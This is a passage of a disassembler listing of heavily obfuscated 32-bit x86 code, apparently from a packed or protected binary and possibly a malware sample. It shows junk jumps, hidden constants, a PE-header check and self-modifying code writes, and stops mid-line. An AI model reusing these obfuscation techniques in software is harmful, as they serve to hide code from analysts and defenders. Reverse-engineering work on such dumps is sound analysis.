; =============== S U B R O U T I N E ======================================= sub_1001BAEE proc near ; CODE XREF: sub_1001CB33j push ebp jmp loc_100183C1 sub_1001BAEE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001BAF4: ; CODE XREF: sub_10015B5D+779Dj mov ecx, 64DA0771h add edx, 0D81F8A84h mov edi, esi test ebp, 0CD5CB7B0h jmp loc_1001CB0A ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- loc_1001BB0C: ; CODE XREF: an.kk9rg:100174E8j test ebx, ebp jmp loc_1001BA92 ; --------------------------------------------------------------------------- loc_1001BB13: ; DATA XREF: sub_100142F5+7o push eax mov eax, [ebp-4] push eax call sub_10014189 test eax, eax jmp loc_1001C376 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_171. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_1001BB25: ; CODE XREF: sub_10019E2E:loc_100176DAj sub al, 99h push 0E5F1DCB0h pop edx rol edx, 1 sub edx, 679D9EE5h or edx, 3504B852h test edx, 8 jmp loc_1001A676 ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- push 0BCA0651Fh cdq jmp sub_1001664C ; --------------------------------------------------------------------------- or esi, 0A90DEF1Ah jle loc_100180B2 jmp sub_1001D467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_1001BB62: ; CODE XREF: sub_1001D461:loc_10014334j ; sub_1001CF40-5CA3j push 14ADC4A4h xchg edx, [esp+4+var_4] mov eax, edx pop edx jmp loc_10014BED ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1001BB72 proc near ; DATA XREF: an.kk9rg:10018382o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10015BAF SIZE 00000012 BYTES ; FUNCTION CHUNK AT 100168FC SIZE 00000023 BYTES ; FUNCTION CHUNK AT 1001744F SIZE 00000012 BYTES ; FUNCTION CHUNK AT 100187B6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100188E0 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10019813 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 1001B8E9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CDB8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CE25 SIZE 00000005 BYTES push esi mov esi, ebp xchg esi, [esp+0] mov ebp, esp push ebx push ecx jmp loc_100187B6 sub_1001BB72 endp ; --------------------------------------------------------------------------- cdq jmp loc_10015A49 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1001BB87 proc near ; CODE XREF: sub_10016D66+402Ap ; FUNCTION CHUNK AT 100172B8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10017BC2 SIZE 0000000D BYTES push ebx mov ebx, ebp xchg ebx, [esp+0] mov ebp, esp call sub_1001C26A loc_1001BB94: ; CODE XREF: an.kk9rg:100130C2j jmp loc_100172B8 sub_1001BB87 endp ; --------------------------------------------------------------------------- jle loc_10016DD5 jmp sub_1001D076 ; --------------------------------------------------------------------------- loc_1001BBA4: ; CODE XREF: an.kk9rg:1001738Ej or edi, 6A56C4h add edi, 97137A7Ah popf xchg edi, [esp] jmp loc_100148EF ; --------------------------------------------------------------------------- loc_1001BBB9: ; DATA XREF: sub_10015B5D:loc_1001CB10o call sub_100180C2 push 0D010C0D1h pop edx add edx, 6D77C292h jmp loc_10018DB4 ; --------------------------------------------------------------------------- jns loc_1001A4DA jmp sub_10013150 ; =============== S U B R O U T I N E ======================================= sub_1001BBDA proc near ; CODE XREF: sub_1001A70A:loc_10013B03p ; an.kk9rg:10017FBAj ; FUNCTION CHUNK AT 10014664 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001481C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10015113 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10015CFD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B115 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B3AD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001D5F7 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1001DD51 SIZE 00000006 BYTES xchg ebx, [esp+0] pop ebx cmp al, 0A4h jz loc_100132DD jmp loc_10015CFD sub_1001BBDA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018AB1 loc_1001BBEB: ; CODE XREF: sub_10018AB1+2FC1j jz loc_10014103 jmp loc_1001C9D6 ; END OF FUNCTION CHUNK FOR sub_10018AB1 ; --------------------------------------------------------------------------- loc_1001BBF6: ; CODE XREF: an.kk9rg:loc_1001B30Bj or eax, 0EBDFA5B5h xor eax, 8A1B2870h add eax, ebp add eax, 8E1B6837h mov eax, [eax] cmp byte ptr [eax], 0F1h jmp loc_10018851 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001BC14: ; CODE XREF: sub_10016D66-32BEj jge loc_10017294 xor edx, 0F458BE58h loc_1001BC20: ; CODE XREF: an.kk9rg:loc_10014E54j push 0CA61930Bh xchg ecx, [esp+4+var_4] mov eax, ecx pop ecx sub eax, 6851605Ch jmp loc_10017D0A ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013310 loc_1001BC36: ; CODE XREF: sub_10013310+1j mov ecx, ebp xchg ecx, [esp+4+var_4] mov ebp, esp add esp, 0FFFFFFECh jmp loc_1001AC88 ; END OF FUNCTION CHUNK FOR sub_10013310 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019D80 loc_1001BC45: ; CODE XREF: sub_10019D80:loc_10013FF4j push edx call sub_1001A024 ; END OF FUNCTION CHUNK FOR sub_10019D80 ; START OF FUNCTION CHUNK FOR sub_10015C77 loc_1001BC4B: ; CODE XREF: sub_10015C77:loc_10018C2Aj push 94AC981Eh pop eax and eax, 0C173B3EBh xor eax, 0C0698A31h jmp loc_1001A63C ; END OF FUNCTION CHUNK FOR sub_10015C77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014E66 loc_1001BC62: ; CODE XREF: sub_10014E66+5AECj jz loc_10016E0F jmp loc_10017519 ; END OF FUNCTION CHUNK FOR sub_10014E66 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_140. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001BC6E: ; CODE XREF: sub_10019409-52A4j pushf push 9C3666F5h pop eax sub eax, 0BE15761Ah jmp loc_10015A88 ; END OF FUNCTION CHUNK FOR sub_10019409 ; =============== S U B R O U T I N E ======================================= sub_1001BC80 proc near ; DATA XREF: sub_10013BB8+5A26o ; FUNCTION CHUNK AT 100144CA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100176A0 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 10017D5E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10018407 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001B654 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001C986 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001DD57 SIZE 00000005 BYTES mov [ebp+eax-100h], dl inc dword ptr [ebp-108h] inc dword ptr [ebp-104h] jmp loc_1001C986 sub_1001BC80 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dword_1001BC98 dd 0FC2F7C80h ; sub_10018AB1:loc_1001BA64r dword_1001BC9C dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_10016A1B+1472r ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B1B loc_1001BCA0: ; CODE XREF: sub_10015B1B+Aj jmp loc_1001DCA2 ; END OF FUNCTION CHUNK FOR sub_10015B1B ; --------------------------------------------------------------------------- loc_1001BCA5: ; CODE XREF: an.kk9rg:10014CB1j jmp locret_10016293 ; --------------------------------------------------------------------------- dw 5EC1h dword_1001BCAC dd 2 ; sub_100136D7+35DBr ... dd 3 dup(2), 0C0h, 40h, 2 dup(1), 4 dup(2), 0C0h, 40h dd 2 dup(1), 4 dup(2), 0C0h, 40h, 2 dup(1), 4 dup(2), 0C0h dd 40h, 2 dup(1), 4 dup(2), 0C0h, 40h, 0 dd 1, 4 dup(2), 0C0h, 40h, 0 dd 1, 4 dup(2), 0C0h, 40h, 0 dd 401h, 4 dup(2), 0C0h, 40h, 0 dd 23h dup(1), 2 dup(2), 4 dup(0) dd 40h, 42h, 0C0h, 0C2h, 4 dup(1), 10h dup(1E00h), 0C2h dd 42h, 2 dup(0C2h), 0Ch dup(2), 0Ah dup(1), 60h, 5 dup(1) dd 4 dup(8), 4 dup(1), 0C0h, 40h, 6 dup(1), 8 dup(0C0h) dd 8 dup(40h), 2 dup(1C2h), 20h, 1, 2 dup(2), 0C2h, 42h dd 1E0h, 1, 20h, 2 dup(1), 0C0h, 2 dup(1), 4 dup(2), 2 dup(0C0h) dd 2 dup(1), 8 dup(2), 4 dup(1A00h), 4 dup(0C0h), 800h dd 0A00h, 60h, 1A00h, 4 dup(1), 0 dd 1, 2 dup(0) dd 2 dup(1), 2 dup(2), 6 dup(1), 2 dup(2) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017CF8 loc_1001C0AC: ; CODE XREF: sub_10017CF8+Cj jmp loc_10013A97 ; END OF FUNCTION CHUNK FOR sub_10017CF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001C0B1: ; CODE XREF: sub_10019409-5E16j jmp loc_1001687D ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019C87 loc_1001C0B6: ; CODE XREF: sub_10019C87-6AECj jmp loc_1001D5C0 ; END OF FUNCTION CHUNK FOR sub_10019C87 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A2CC loc_1001C0BB: ; CODE XREF: sub_10016734:loc_10017C91j ; sub_1001A2CC+11j jnz loc_100132E2 jmp loc_1001360F ; END OF FUNCTION CHUNK FOR sub_1001A2CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001620D loc_1001C0C6: ; CODE XREF: sub_1001620D:loc_100135B6j add eax, [ebp-4] mov [ebp-0Ch], eax loc_1001C0CC: ; CODE XREF: sub_10015353+2j ; sub_100141E3:loc_10019C4Fj ... mov eax, [ebp-0Ch] mov esp, ebp push offset loc_1001CE11 jmp loc_10018519 ; END OF FUNCTION CHUNK FOR sub_1001620D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_1001C0DB: ; CODE XREF: sub_100180C2+290Dj push ecx mov esp, ebp call sub_10017811 loc_1001C0E3: ; CODE XREF: sub_1001504E+75C5j sub esi, ecx jnb loc_10019419 sbb esi, 9AB033B2h cmp ebp, edi jmp loc_1001DB6E ; END OF FUNCTION CHUNK FOR sub_100180C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018E79 loc_1001C0F8: ; CODE XREF: sub_10018E79+221j jnz loc_1001610B jmp loc_10017AC2 ; END OF FUNCTION CHUNK FOR sub_10018E79 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_97. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- test eax, eax jnz loc_1001722C jmp loc_10018DC8 ; --------------------------------------------------------------------------- loc_1001C111: ; CODE XREF: an.kk9rg:10014058j rol edx, 0Eh jnb loc_10019F53 sbb ebx, ecx jnp loc_1001D46B xchg edx, ebp jmp loc_1001686F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019C34 loc_1001C129: ; CODE XREF: sub_10019C34-275Fj ; an.kk9rg:1001BAA3j sub ecx, 0A2B7BE6Fh add ecx, 6F78DF60h add ecx, ebp add ecx, 0F10180A8h mov [ecx], eax xchg ebp, [esp-4+arg_0] mov ecx, ebp jmp loc_10018B1C ; END OF FUNCTION CHUNK FOR sub_10019C34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001C149: ; CODE XREF: sub_100136D7+7961j jz loc_1001372F jmp loc_1001D776 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- rol ebx, 15h jmp sub_1001620D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_177. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018AB1 loc_1001C15D: ; CODE XREF: sub_10018AB1-49A4j jmp loc_10013133 ; END OF FUNCTION CHUNK FOR sub_10018AB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100178C9 loc_1001C162: ; CODE XREF: sub_100178C9:loc_10015585j add eax, ebp add eax, 6BFBB22Ah mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_1001C4A9 jmp loc_10018B0A ; END OF FUNCTION CHUNK FOR sub_100178C9 ; --------------------------------------------------------------------------- test esi, 44910784h jmp loc_10018C70 ; =============== S U B R O U T I N E ======================================= sub_1001C185 proc near ; CODE XREF: sub_100188BE+3p ; an.kk9rg:1001A065j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 100143D7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10014DF9 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 100159BB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016264 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 100162AD SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10017588 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 10018DB9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001ABF0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AE83 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B0E0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B11A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B777 SIZE 0000000C BYTES xchg ecx, [esp+0] pop ecx xchg eax, [esp-4+arg_0] mov ebp, esp push ecx mov [ebp-4], eax call sub_10017A58 loc_1001C197: ; CODE XREF: sub_1001536A+75E9j jmp loc_10017588 sub_1001C185 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016FA0 loc_1001C19C: ; CODE XREF: sub_10016FA0+10j jmp loc_1001D7BE ; END OF FUNCTION CHUNK FOR sub_10016FA0 ; --------------------------------------------------------------------------- loc_1001C1A1: ; CODE XREF: an.kk9rg:loc_1001C4DBj jnz loc_100144DD jmp loc_10015D99 ; --------------------------------------------------------------------------- loc_1001C1AC: ; CODE XREF: an.kk9rg:10019977j jz loc_1001D9D6 jmp loc_1001300A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_1001C1B7: ; CODE XREF: sub_10018066:loc_10017FA8j add ecx, edi popf jmp loc_1001B00C ; END OF FUNCTION CHUNK FOR sub_10018066 ; =============== S U B R O U T I N E ======================================= sub_1001C1BF proc near ; DATA XREF: sub_10013389+4237o ; FUNCTION CHUNK AT 1001B2B4 SIZE 0000000B BYTES add edi, 0FF1C002h xchg edi, [esp+0] jmp loc_1001B2B4 sub_1001C1BF endp ; --------------------------------------------------------------------------- add esi, 0BD1C5C11h jmp sub_10016A1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_1001C1D8: ; CODE XREF: sub_10016734+1B08j cdq xor ebx, edx jmp loc_10017C91 ; END OF FUNCTION CHUNK FOR sub_10016734 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B368 loc_1001C1E0: ; CODE XREF: sub_1001B368:loc_10017509j sub esi, 0BB51B094h add esi, 83196E03h loc_1001C1EC: ; CODE XREF: an.kk9rg:10015606j xchg esi, [esp+4+var_4] jmp sub_100181E1 ; END OF FUNCTION CHUNK FOR sub_1001B368 ; --------------------------------------------------------------------------- loc_1001C1F4: ; CODE XREF: an.kk9rg:10018623j not edi mov edx, [ecx] and eax, ebp ror edi, 11h ; START OF FUNCTION CHUNK FOR sub_10016167 loc_1001C1FD: ; CODE XREF: sub_10016167:loc_1001AD36j jmp loc_10016521 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- mov [edi], eax jmp sub_1001504E ; --------------------------------------------------------------------------- loc_1001C209: ; DATA XREF: sub_1001ABFD:loc_10017D9Do inc ds:dword_10018608 lea eax, nullsub_4 mov byte ptr [eax], 0C3h call nullsub_6 push edi jmp loc_1001AF08 ; --------------------------------------------------------------------------- loc_1001C223: ; CODE XREF: an.kk9rg:1001D8CEj adc ebp, 0C44E82BEh mov [ecx], esi loc_1001C22B: ; CODE XREF: an.kk9rg:1001D8BDj add ebx, 46CA4F99h mov [ebx], eax ; START OF FUNCTION CHUNK FOR sub_1001B096 loc_1001C233: ; CODE XREF: sub_1001B096:loc_10016CDFj jmp loc_1001CBC5 ; END OF FUNCTION CHUNK FOR sub_1001B096 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100190DC loc_1001C238: ; CODE XREF: sub_100190DC:loc_10014A4Fj jz loc_1001A1EF jge loc_10019F76 jmp loc_1001A1ED ; END OF FUNCTION CHUNK FOR sub_100190DC ; --------------------------------------------------------------------------- loc_1001C249: ; CODE XREF: an.kk9rg:100166E9j rol esi, 6 jb loc_10015441 ; START OF FUNCTION CHUNK FOR sub_1001D951 loc_1001C252: ; CODE XREF: sub_1001D951:loc_100166D2j add edi, 0D10CFCB2h xchg edi, [esp+0] jmp loc_10014BD2 ; END OF FUNCTION CHUNK FOR sub_1001D951 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_1001C260: ; CODE XREF: sub_10016167:loc_1001AD0Bj push offset sub_1001685A jmp nullsub_96 ; END OF FUNCTION CHUNK FOR sub_10016167 ; =============== S U B R O U T I N E ======================================= sub_1001C26A proc near ; CODE XREF: an.kk9rg:1001523Bj ; sub_1001BB87+8p ; FUNCTION CHUNK AT 10013871 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 100141CD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10015CD5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015D37 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10017B75 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10019223 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A732 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B310 SIZE 00000009 BYTES xchg edx, [esp+0] pop edx push ecx mov esp, ebp pop ebp mov eax, ds:dword_1001D748 jmp loc_10015CD5 sub_1001C26A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1001C27D proc near ; CODE XREF: an.kk9rg:1001447Ej ; sub_10016A1B:loc_10017C15p arg_0 = dword ptr 4 xchg edx, [esp+0] pop edx add edx, 0CD119ADCh xchg edx, [esp-4+arg_0] jmp nullsub_89 sub_1001C27D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1001C28F proc near ; DATA XREF: sub_1001A70A-1C9Do ; FUNCTION CHUNK AT 10014258 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 10015128 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 10017D4A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 10018810 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 10018D15 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019DBB SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001B1A8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C3F2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D494 SIZE 00000005 BYTES xchg ecx, [esp+0] mov edi, ecx loc_1001C294: ; CODE XREF: an.kk9rg:loc_1001A704j pop ecx add edi, 606BEFB0h rol edi, 0Ch xor edi, 0C17C148Eh jmp loc_10017D4A sub_1001C28F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1001C2A9 proc near ; CODE XREF: an.kk9rg:10014ADEj ; sub_1001A97E:loc_1001916Fp ; FUNCTION CHUNK AT 10017B88 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001994D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B12B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001B15C SIZE 0000003F BYTES ; FUNCTION CHUNK AT 1001D433 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001D45C SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx push 8937FA86h pop eax or eax, 0E3766900h loc_1001C2B9: ; CODE XREF: an.kk9rg:loc_100189D1j sub eax, 5F2B2AA8h jmp loc_10017B88 sub_1001C2A9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100188EE loc_1001C2C4: ; CODE XREF: sub_100188EE:loc_10018B0Fj sub esi, ecx jmp loc_1001CAE1 ; END OF FUNCTION CHUNK FOR sub_100188EE ; --------------------------------------------------------------------------- loc_1001C2CB: ; CODE XREF: an.kk9rg:loc_10015C42j push offset sub_1001B4CC jmp loc_10014FF7 ; --------------------------------------------------------------------------- loc_1001C2D5: ; CODE XREF: an.kk9rg:100185B9j mov edx, [ebp+0] ; =============== S U B R O U T I N E ======================================= sub_1001C2D8 proc near ; CODE XREF: sub_10018066-A28p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10014282 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 10014595 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 100158C6 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10015D8F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015E68 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10018578 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100185BE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10018656 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001ABF5 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 1001BACE SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx imul byte ptr [edx] cmp al, 0A4h jz loc_1001ABF0 jmp loc_100185BE sub_1001C2D8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_1001C2EB: ; CODE XREF: sub_1001A97E:loc_1001C48Cj not ecx jmp loc_1001976C ; END OF FUNCTION CHUNK FOR sub_1001A97E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_199. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_1001C2F3: ; CODE XREF: an.kk9rg:10019673j jnz loc_100184D6 or ecx, esi jmp sub_1001492C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_1001C300: ; CODE XREF: sub_1001ABFD-16FBj jz loc_1001D0ED jmp loc_1001AC9B ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B3A1 loc_1001C30B: ; CODE XREF: sub_1001B3A1-80F1j add eax, 3BBFC54Fh sub ebp, 0ED98158Ch not edx jmp loc_1001C5BE ; END OF FUNCTION CHUNK FOR sub_1001B3A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014A76 loc_1001C31E: ; CODE XREF: sub_10014A76:loc_1001826Ej cmp dword ptr [eax], 4550h jnz loc_1001B00C jmp loc_100149A4 ; END OF FUNCTION CHUNK FOR sub_10014A76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_1001C32F: ; CODE XREF: sub_100193F2-485Aj jno loc_1001A589 jmp loc_100188DA ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_1001C33A: ; CODE XREF: sub_10015D9E:loc_1001B1F0j cmp eax, 88262A84h jmp loc_100195EE ; END OF FUNCTION CHUNK FOR sub_10015D9E ; --------------------------------------------------------------------------- push eax ror eax, 0Fh push offset sub_10015EBE jmp loc_100180F5 ; --------------------------------------------------------------------------- loc_1001C353: ; CODE XREF: an.kk9rg:10017E2Fj and ebp, ecx jge loc_1001A665 pop ebx ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_1001C35C: ; CODE XREF: sub_10016D04-3239j and eax, 1C54949Dh xor eax, 0C19507CBh jmp loc_1001A4C7 ; END OF FUNCTION CHUNK FOR sub_10016D04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001679F loc_1001C36D: ; CODE XREF: sub_1001679F:loc_10013AF2j xchg ebp, [esp+0] call sub_100174F4 retn ; END OF FUNCTION CHUNK FOR sub_1001679F ; --------------------------------------------------------------------------- loc_1001C376: ; CODE XREF: an.kk9rg:1001BB1Fj jmp loc_100178B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_1001C37B: ; CODE XREF: sub_10015D9E+2FBFj jmp loc_100167B4 ; END OF FUNCTION CHUNK FOR sub_10015D9E ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1001C380 proc near ; DATA XREF: sub_100180C2+241o push ebp mov ebp, esp push ecx push ebp push 0FA3FC791h jmp loc_10015C38 sub_1001C380 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_1001C38F: ; CODE XREF: sub_10016D04+24C9j jg loc_10015A30 jmp loc_100165C9 ; END OF FUNCTION CHUNK FOR sub_10016D04 ; --------------------------------------------------------------------------- loc_1001C39A: ; CODE XREF: an.kk9rg:100139DDj sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_100165C9 jmp loc_10018415 ; =============== S U B R O U T I N E ======================================= sub_1001C3AE proc near ; CODE XREF: an.kk9rg:1001759Cj ; sub_10019D80+9DAp xchg edi, [esp+0] pop edi push 0B33EDF99h sub_1001C3AE endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001C3B7: ; CODE XREF: sub_10013389:loc_10019C7Aj pop esi add esi, 0DE62BE8Dh and esi, 70BC45DDh jmp loc_10017C24 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019C34 loc_1001C3C9: ; CODE XREF: sub_10019C34:loc_10017DBEj push 0B8FFDBE6h pop ecx sub ecx, 0FEA621E5h add ecx, 0A409883Ch jns loc_100174D2 loc_1001C3E1: ; CODE XREF: sub_1001D1DB+16j jmp loc_1001CBEB ; END OF FUNCTION CHUNK FOR sub_10019C34 ; --------------------------------------------------------------------------- popf jmp loc_1001DEDC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_117. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013044 loc_1001C3ED: ; CODE XREF: sub_10013044+9533j jmp nullsub_108 ; END OF FUNCTION CHUNK FOR sub_10013044 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C28F loc_1001C3F2: ; CODE XREF: sub_1001C28F-8012j jmp loc_10015128 ; END OF FUNCTION CHUNK FOR sub_1001C28F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016C77 loc_1001C3F7: ; CODE XREF: sub_10016C77-3A89j jmp loc_1001DBF1 ; END OF FUNCTION CHUNK FOR sub_10016C77 ; --------------------------------------------------------------------------- or esi, 0E3CB74F6h adc esi, ebx jmp sub_10019C87 ; --------------------------------------------------------------------------- loc_1001C409: ; CODE XREF: an.kk9rg:1001D31Bj not ebp pushf sub ecx, ebx ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001C40E: ; CODE XREF: sub_10013389+3192j sub edx, ds:100000C0h push offset sub_100156CB jmp loc_10014BCD ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_1001C41E: ; CODE XREF: an.kk9rg:loc_1001DD3Bj xchg ecx, [esp] mov ebp, esp push ebx mov ebx, ecx jmp loc_10016132 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019A95 loc_1001C42B: ; CODE XREF: sub_10019A95:loc_1001B8C7j push esi push 330AE7D4h pop esi and esi, 6CBFB415h xor esi, 0B2B4BEC4h add esi, ebp add esi, 6D41E52Ch mov [esi], eax jmp loc_10014065 ; END OF FUNCTION CHUNK FOR sub_10019A95 ; =============== S U B R O U T I N E ======================================= sub_1001C44D proc near ; DATA XREF: sub_10013389:loc_1001547Ao ror eax, 8 mov ds:dword_1001B750, eax retn sub_1001C44D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014A06 loc_1001C457: ; CODE XREF: sub_10014A06+2FA6j rol eax, 8 push eax call sub_100174F4 jmp loc_10018DFE ; END OF FUNCTION CHUNK FOR sub_10014A06 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_17. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_1001C466: ; CODE XREF: an.kk9rg:1001659Cj ; an.kk9rg:loc_10017BCFj jmp loc_10015BCB ; --------------------------------------------------------------------------- ; START OF FUNCTION 